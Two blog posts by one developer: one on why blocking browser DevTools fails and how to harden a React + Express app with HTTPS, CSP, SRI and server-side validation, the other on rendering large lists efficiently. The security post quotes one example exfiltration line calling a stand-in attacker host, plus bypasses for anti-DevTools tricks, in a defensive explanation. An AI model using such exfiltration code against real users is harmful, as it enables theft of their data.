DEV Community: Shree Harsha Boyapati

I Tried to "Disable Inspect" — and Learned the Right Question to Ask Instead

Shree Harsha Boyapati — Sun, 16 Aug 2026 13:36:22 +0000

It started, like a lot of rabbit holes do, with an observation: Gemini stops its JavaScript when you open DevTools. Open the inspector and the page freezes. I thought that was neat and wanted to do the same thing in my own app — just disable inspect and be done with it.

This post is the short version of where that took me: why "disable inspect" is the wrong goal, and what I ended up building instead — a small defence-in-depth stack on a React + Express app.

Chapter 1: The temptation — "just block DevTools"

I went looking for ways to detect/block DevTools. There's a well-known npm package called disable-devtool that bundles every known trick:

Intercepting F12 / Ctrl+Shift+I / right-click
A debugger; statement on a loop that pauses execution when DevTools is open (this is what Gemini does)
Timing-based detection (DevTools slows down toString() calls)
console.clear() spam
Viewport-size diffs

Here's the catch I kept hitting: none of it actually stops a determined user. Every technique has a documented bypass:

Technique	Bypass
Block F12 / right-click	Open DevTools from the browser menu (⋮ → More Tools)
`debugger;` loop	Disable all breakpoints (Ctrl+F8) — it becomes a no-op
Timing detection	Open DevTools undocked — viewport doesn't change
Any client-side check	`--auto-open-devtools-for-tabs` flag, or a proxy like mitmproxy

The brutal truth: DevTools is the user's tool, not the server's. You can't control it from a web page. Microsoft Edge once considered proposing an HTTP header to disable DevTools for banking sites and dropped it because it conflicts with browser architecture.

Christian Heilmann (ex-Edge team) called these scripts "impressive, but in the end just a nuisance."

So if blocking the tool is a dead end, what's the real goal?

Chapter 2: The mindset shift

This is the insight that rerouted the whole project:

The goal isn't to stop someone from opening DevTools. The goal is to make the app resilient regardless of whether DevTools is open.

Security experts are pretty unanimous on this (OWASP, NIST, Schneier):

❌ Anti-DevTools scripts as standalone security → rejected (security through obscurity)
✅ Obfuscation as a supplementary layer → acceptable
✅ CSP, SRI, server-side validation, rate limiting → required for real security

That reframing turned "how do I disable inspect?" into "how do I layer defences so that having DevTools open doesn't help an attacker?" — i.e. defence in depth.

Chapter 3: Defence in depth, checkpoint by checkpoint

I broke the work into ordered checkpoints. The order matters — each one depends on the one before it.

Checkpoint 0 — Enable HTTPS (the foundation)

Every security header is just text in an HTTP response. On plain HTTP, a man-in-the-middle (coffee-shop Wi-Fi, ISP, corporate proxy) can read, modify, or delete that text before the browser sees it. Your CSP, your nosniff, all of it — silently stripped.

Normal:   Server ────────────────► Browser   "CSP: default-src 'self'"
MITM:     Server ──► Attacker ──► Browser    (attacker strips CSP)

HTTPS makes tampering impossible by encrypting and authenticating the response. Without it, every later checkpoint is a polite suggestion.

For local dev I used mkcert (trusted self-signed certs). For production, a managed platform (Render/Railway/Fly.io) terminates TLS for you, or Let's Encrypt + certbot if you run your own server.

// server.js — HTTPS with mkcert certs in dev
import https from 'https';
import fs from 'fs';

const sslOptions = {
  key:  fs.readFileSync('certs/localhost+1-key.pem'),
  cert: fs.readFileSync('certs/localhost+1.pem'),
};

https.createServer(sslOptions, app).listen(3000);

Checkpoint 1 — HTTP-level hardening (free, and the biggest bang-for-buck)

You can't disable DevTools from the server, but you can tell the browser what the page is allowed to do — before any JavaScript runs — via response headers.

// server.js
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; connect-src 'self'; " +
    "frame-ancestors 'none'; base-uri 'none'; form-action 'self'"
  );
  res.setHeader('Strict-Transport-Security', 'max-age=63072000; includeSubDomains; preload');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
  res.setHeader('Cross-Origin-Embedder-Policy', 'require-corp');
  next();
});

The star is Content-Security-Policy. The classic attack it stops: an attacker with remote access talks a victim into opening DevTools and pasting code into the Console. Without CSP, that code does fetch('https://attacker.com/steal?data=...') and exfiltrates everything. With connect-src 'self', that fetch is blocked at the browser level — the pasted code inherits the page's CSP.

CSP doesn't stop someone from reading the DOM in DevTools. It stops them from exfiltrating what they read.

The edge cases I had to keep in mind

This checkpoint is where I spent the most time, because a strict CSP quietly breaks things:

React is fine, raw HTML isn't. React's onClick={handleClick} uses addEventListener under the hood — no inline script string, so script-src 'self' with no unsafe-inline doesn't break it. Raw <button onclick="..."> would be blocked.
Third-party libraries are the real risk. A strict CSP forbids eval, new Function, inline <style>, and cross-origin fetch/script/font. Many popular libs use these internally and silently stop working in production. The danger isn't that they break — it's the temptation to "fix" them by relaxing the policy:

   script-src 'self' 'unsafe-eval' 'unsafe-inline'   # ← the Layer 1 defence just collapsed

Adding 'unsafe-eval' reopens the exact primitives the Console-paste attack relies on. If a lib needs unsafe-eval or unsafe-inline, it's incompatible with this layer — replace it.

Vite dev vs prod CSP split. Vite's HMR/React Refresh uses eval and inline scripts, so a strict prod CSP breaks HMR in dev. Fix: two different CSPs, gated behind NODE_ENV. I also only enable CORS in dev (Vite on :5173, Express on :3000 are cross-origin); in prod the backend serves the built bundle on one origin.

   if (!isProduction) {
     app.use(cors({ origin: 'http://localhost:5173' }));
   }

Roll out safely. Start with Content-Security-Policy-Report-Only (reports violations without blocking), fix every violation, then flip to enforcement. Keep Report-Only alongside it for new libraries.

Checkpoint 2 — Resource integrity (close the leaks CSP can't)

CSP controls who can run on your page. Checkpoint 2 closes two gaps CSP can't:

A) What if a CDN you trust is itself compromised? CSP allows it (it's allowlisted), but the bytes changed. Subresource Integrity (SRI) pins a cryptographic hash in the tag so the browser refuses to run a tampered script:

<script src="https://cdn.example.com/lib.js"
        integrity="sha384-oqVuAfXRKap7..."
        crossorigin="anonymous"></script>

Without SRI: attacker compromises the CDN → serves malware → browser runs it ("it's on the allowlist!").
With SRI: hash(malicious) ≠ pinned hash → browser refuses to execute.

crossorigin is mandatory — SRI needs CORS to read the bytes for hashing. Forget it and verification silently fails.

B) What if your own bundle leaks readable source via .map files? A source map handed to anyone with DevTools open is a free map from your minified bundle back to the readable source. This leak is invisible — no Console entry, no Network entry for the silent sourceMappingURL fetch.

So: disable source maps in production, strip the sourceMappingURL comment, and make the server return 404 for any *.map request as defence in depth.

// vite.config.js
export default defineConfig(({ mode }) => ({
  build: {
    sourcemap: mode !== 'production', // no maps in prod
    minify: 'terser',
    terserOptions: { format: { comments: false } }, // strip sourceMappingURL
  },
}));

// server.js — block stale .map files before static middleware serves them
app.use((req, res, next) => {
  if (isProduction && req.path.toLowerCase().endsWith('.map')) {
    return res.status(404).end();
  }
  next();
});

CSP and SRI are complementary: CSP controls origin trust, SRI controls byte-level integrity. CSP without SRI is vulnerable to CDN compromise; SRI without CSP is vulnerable to HTML injection (attacker just removes the integrity attribute). You need both.

Checkpoint 3 — Server-side validation (the core)

Checkpoints 0–2 make the page resilient to what someone does inside DevTools. Checkpoint 3 is the principle that makes DevTools genuinely irrelevant: never trust the client for a security decision.

If an attacker edits a form's values in the Console and submits, or modifies a price hidden in state — the server must reject it. Concretely:

Every privileged action (transfers, settings changes, deletions) is validated server-side
High-value actions require step-up auth (2FA / push notification)
Any "security logic" that lived client-side (price calc, discount eligibility, access control) moves to the server
Sensitive data (tokens, PII) lives in HttpOnly; Secure cookies — never localStorage, which any Console snippet can read

This is the biggest checkpoint and the most important. CSP can't stop someone from visually faking "transfer succeeded" in the DOM — only server-side transaction confirmation can.

CSP stops exfiltration. Server-side validation stops forgery. You need both.

How I verified it

HTTPS: curl -k https://localhost:3000 works; no browser cert warnings (mkcert is trusted locally).
CSP: curl -I shows all headers; a fetch() to a third-party domain from the Console is blocked.
Source maps: no .map files in dist/; requesting any *.map URL in prod returns 404; no //# sourceMappingURL= comment in the bundle; the Sources panel shows only minified, mangled code.
Server-side validation: editing form values in the Console and submitting → server rejects.

Takeaway

"Disable inspect" is a dead end because DevTools belongs to the user, not your page — and every client-side blocker has a trivial bypass. The thing that actually protects you is the boring, server-side stuff: HTTPS, a strict CSP, SRI, no source maps in prod, and never trusting the client.

The irony of this project: I set out to write a clever anti-DevTools script and ended up writing an Express middleware that sets six HTTP headers and a Vite config that turns off source maps. The boring defence is the one that works.

If your threat model is "someone opens DevTools and pastes code into the Console," a strict CSP solves more of that than any debugger loop ever will. Start there.

Thanks for reading! If you've run into the "disable inspect" temptation — or built a defence-in-depth setup of your own — I'd love to hear about it in the comments.

Rendering Large Lists on the UI — A Pragmatic Guide

Shree Harsha Boyapati — Wed, 05 Aug 2026 06:54:25 +0000

I was working on a couple of projects — one displaying FTP folders and files, another powering a RAG system — where I needed to show lists of data in cards. The lists had to handle large datasets without lagging, crashing, or freezing the browser. I came up with a four-phase plan, tested it in those projects, and then rebuilt it here as a clean reference implementation. This post walks through each phase, what problem it solves, and what trade-offs remain.

Repo: ShreeHarshaBoyapati/List-Rendering

Phase 1: Initial List Rendering

Commit: 75c2be7

The simplest approach: fetch every item from the backend in one go and render every card as a DOM node.

The backend was an Express server with an in-memory array — no pagination, no limit. The frontend called GET /api/items, received the entire dataset as JSON, and rendered it with items.map(...) inside a <ul>. CRUD operations were straightforward: Create sent a POST and prepended the new item; Update sent a PATCH and spliced the item in place; Delete sent a DELETE and filtered the item out. After each mutation, the app called loadInitial() — a full refetch and re-render.

Memory: All the JS objects (the entire dataset) sat in the heap, and every card's DOM node was also created and stored in the heap. For 100 items this was fine. For 50,000 it was not.

What went wrong:

Slow rendering after fetch. Even after the backend responded, the UI froze for seconds while the browser created 50,000 DOM nodes. The fetch was done, but the user saw nothing.
JSON body limit. When the dataset grew large enough, the response exceeded the JSON body size limit configured in the backend middleware. The request failed outright — no data was rendered at all.
Heap overflow. Even if the fetch succeeded, the browser's heap could fill up. The GC collector would thrash trying to free memory, and in extreme cases the tab would crash.

Demos:

github-production-user-asset-6210df.s3.amazonaws.com

Phase 2: Virtualization

Commit: 447c57d

The first problem — slow rendering — was caused by creating DOM nodes for every item. Virtualization fixes this by only rendering the cards visible in the viewport (plus a small overscan buffer).

I added react-window, which provides a <List> component. You give it a rowHeight (80px), a rowCount (the total number of items), and a custom Row renderer. The library handles the rest — it mounts only the ~10–15 rows that fit on screen and recycles them as you scroll.

Memory: The JS objects for all items still lived in the heap, but now only a handful of DOM nodes existed at a time. The virtualization library also maintained a height map in the heap, but this was negligible compared to the full DOM tree from Phase 1.

The win: Rendering 50,000 items became instant. The browser only ever had a dozen DOM nodes to worry about.

What remained: The backend still sent all 50,000 items in a single JSON response. If the dataset was large enough, the JSON body limit would still kill the request, and the heap could still overflow from the JS objects alone — no DOM needed.

Demo:

github-production-user-asset-6210df.s3.amazonaws.com

A note on library choice: before reaching for react-window or any virtualization library, check its bundle size, maintenance status, and vulnerabilities. You can also build your own — it's not much code for fixed-height rows — but I'd start with a proven library.

Phase 3: Cursor Pagination + Sliding Window

Commits: 8951667 (pagination) · 14441fc (CRUD fixes)

Phase 2 solved the DOM problem. Phase 3 solves the data problem: instead of fetching everything at once, fetch it in pages.

Cursor vs. Offset Pagination

I used cursor (keyset) pagination, not offset pagination. The cursor is a base64url-encoded string of "createdAt,id" — a compound keyset sorted by createdAt DESC, id ASC. It's a boundary value: "give me everything that sorts after this point."

The key difference: offsets shift when rows are inserted or deleted; keyset cursors don't. If you're on page 3 at offset 100 and someone deletes a row above you, offset 100 now points to a different row. A cursor pointing to a specific (createdAt, id) boundary stays valid no matter what happens elsewhere in the table.

On the backend (now backed by Postgres via TypeORM), findNextPage queries WHERE createdAt < cursor.createdAt OR (createdAt = cursor.createdAt AND id < cursor.id), ordered DESC. findPrevPage inverts the condition and ordering, then reverses the result to restore DESC order.

The Sliding Window

The frontend keeps at most MAX_PAGES = 3 pages (150 items) in memory. When a new page is fetched at the bottom, the top page is evicted. When a page is fetched at the top, the bottom page is evicted. A pageBoundariesRef tracks which slice of the items[] array belongs to which page, along with each page's cursors.

The Scroll Problem

Here's the tricky part: when you prepend items (scrolling up), the browser's scrollTop doesn't change, but the content above has grown — so the viewport jumps to a different item. The user loses their place.

The fix: capture scrollTop before the prepend. Then, in a useEffect that runs after React has committed the new items, restore the scroll position using pure arithmetic:

newScrollTop = oldScrollTop + prependedCount × ITEM_HEIGHT

No DOM queries needed — react-window hasn't rendered the anchored row yet at the new offset, so querySelector would fail. The formula is exact because both states (before capture and after restore) have no loading row, so the math is clean.

CRUD Without Full Reload

Commit 14441fc fixed the CRUD operations to work with the sliding window instead of calling loadInitial() after every mutation:

Op	Handling
Create	If at the true top (`!hasPrev`): prepend to `items[]`, shift page boundaries. Else: just set `hasPrev = true` — the new item exists above the window.
Update	Splice the updated item in place by `id`. Sort position is unchanged (`createdAt` and `id` are immutable), so all cursors stay valid.
Delete	Filter the item out locally. If the window becomes empty and `hasNext`, auto-trigger `loadNext()`.

No full reloads, no scroll jumps.

A note on TanStack Query: I've seen teams adopt it to reduce CRUD boilerplate. It's genuinely useful when you need to invalidate a cache from a different component. But if your CRUD lives in a single component, plain fetch (or axios) is leaner — smaller bundle, fewer abstractions, and the code is just as readable.

Memory: Similar to Phase 2, but the dataset coming from the backend is tiny — only one page at a time. The heap holds at most 150 items. It's essentially a sliding window.

Demo:

github-production-user-asset-6210df.s3.amazonaws.com

What remained: An edge case where a single page contains one extremely large item. The JSON response for that page could still exceed the body limit, or the heap could spike. I hardcoded the page limit, but you could make it dynamic — monitor performance metrics and adjust the limit up or down in a useEffect to keep things smooth.

Phase 4: IndexedDB Cache Layer

Commit: 3b804ec

Phase 3 fixed the data problem but introduced a new one: every time a page was evicted and the user scrolled back, the app hit the backend again. Phase 4 adds a client-side cache to avoid those redundant fetches.

Three-Tier Storage

Tier	Storage	Contents	Size
1. Heap	React state `items[]`	Currently visible window	3 pages (150 items)
2. IndexedDB	Browser DB `rendering-list-cache`	Recently evicted pages — 3 above + 3 below	6 pages (300 items)
3. Backend	Postgres	Source of truth	All items

When a page is evicted from the heap, it's written to IndexedDB. When the user scrolls back, the app checks IDB first. A cache hit means no backend call at all. A cache miss falls through to the backend, and the result gets cached on future eviction.

Cache Key Scheme

Pages are keyed by the cursor that would be used to fetch them:

Top-evicted page (evicted during loadNext): stored as prev:${cursor} — scrolling back up calls loadPrev(cursor), so we look up prev:${cursor} in IDB.
Bottom-evicted page (evicted during loadPrev): stored as next:${cursor} — scrolling back down calls loadNext(cursor), so we look up next:${cursor}.

When a page is restored from IDB to the heap, it's deleted from IDB — a page exists in exactly one tier at a time.

CRUD with IDB Awareness

Create: If the topmost cached page in IDB is the true top (hasPrev = false), the new item is prepended to that cached page so the user sees it on scroll-up without a backend call. Otherwise, no sync — the backend serves it on cache miss.
Update / Delete: Only touch the heap. Since a page lives in exactly one tier, if the item is in the heap, it's not in IDB — no IDB sync needed.

Demo:

github-production-user-asset-6210df.s3.amazonaws.com

What remained: The same edge case as Phase 3 — a single extremely large item in a page could still exceed limits. IDB doesn't solve that; it solves the number of backend calls, not the size of a single response.

Summary

Phase	What it solves	What remains
1. Initial render	Baseline — fetch all, render all	Slow render, JSON limit, heap overflow
2. Virtualization	DOM node count — only visible rows rendered	JSON limit, heap overflow (all data still fetched)
3. Cursor pagination	Data volume — only one page fetched at a time; CRUD-safe cursors	Single huge item per page could still hit limits
4. IndexedDB cache	Backend call count — evicted pages cached client-side	Same single-huge-item edge case

Each phase addresses a specific bottleneck without regressing on the previous one. The result is a list that can handle tens of thousands of items smoothly — visible rows are virtualized, data is paginated with CRUD-safe cursors, the heap is bounded by a sliding window, and recently viewed pages are cached in IndexedDB to avoid redundant fetches.